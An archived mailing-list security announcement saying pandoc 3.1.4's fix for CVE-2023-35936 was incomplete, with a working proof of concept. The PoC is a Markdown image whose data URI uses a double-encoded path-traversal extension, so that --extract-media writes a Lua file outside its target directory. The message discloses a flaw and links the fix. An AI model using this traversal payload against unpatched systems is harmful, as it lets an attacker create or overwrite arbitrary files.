From: John MacFarlane <fiddlosopher-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>
To: pandoc-discuss-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
Subject: ANN: fix to CVE-2023-35936 was incomplete
Date: Thu, 20 Jul 2023 11:56:41 -0700 [thread overview]
Message-ID: <5966AA07-A6E3-4C0B-94EC-760BDEECDE3D@gmail.com> (raw)
Guilhem Moulin noticed that the fix in pandoc 3.1.4 to CVE-2023-35936 was incomplete.
An attacker could get around it by double-encoding the malicious extension to create
or override arbitrary files.
$ echo '![](data://image/png;base64,cHJpbnQgImhlbGxvIgo=;.lua+%252f%252e%252e%252f%252e%252e%252fb%252elua)' >b.md
$ .cabal/bin/pandoc b.md --extract-media=bar
<p><img
src="bar/2a0eaa89f43fada3e6c577beea4f2f8f53ab6a1d.lua+%2f%2e%2e%2f%2e%2e%2fb%2elua" /></p>
$ cat b.lua
print "hello"
$ find bar
bar/
bar/2a0eaa89f43fada3e6c577beea4f2f8f53ab6a1d.lua+
This vulnerability is fixed in the main branch of the repository:
https://github.com/jgm/pandoc/commit/eddedbfc14916aa06fc01ff04b38aeb30ae2e625
I will put out a new release soon.
reply other threads:[~2023-07-20 18:56 UTC|newest]
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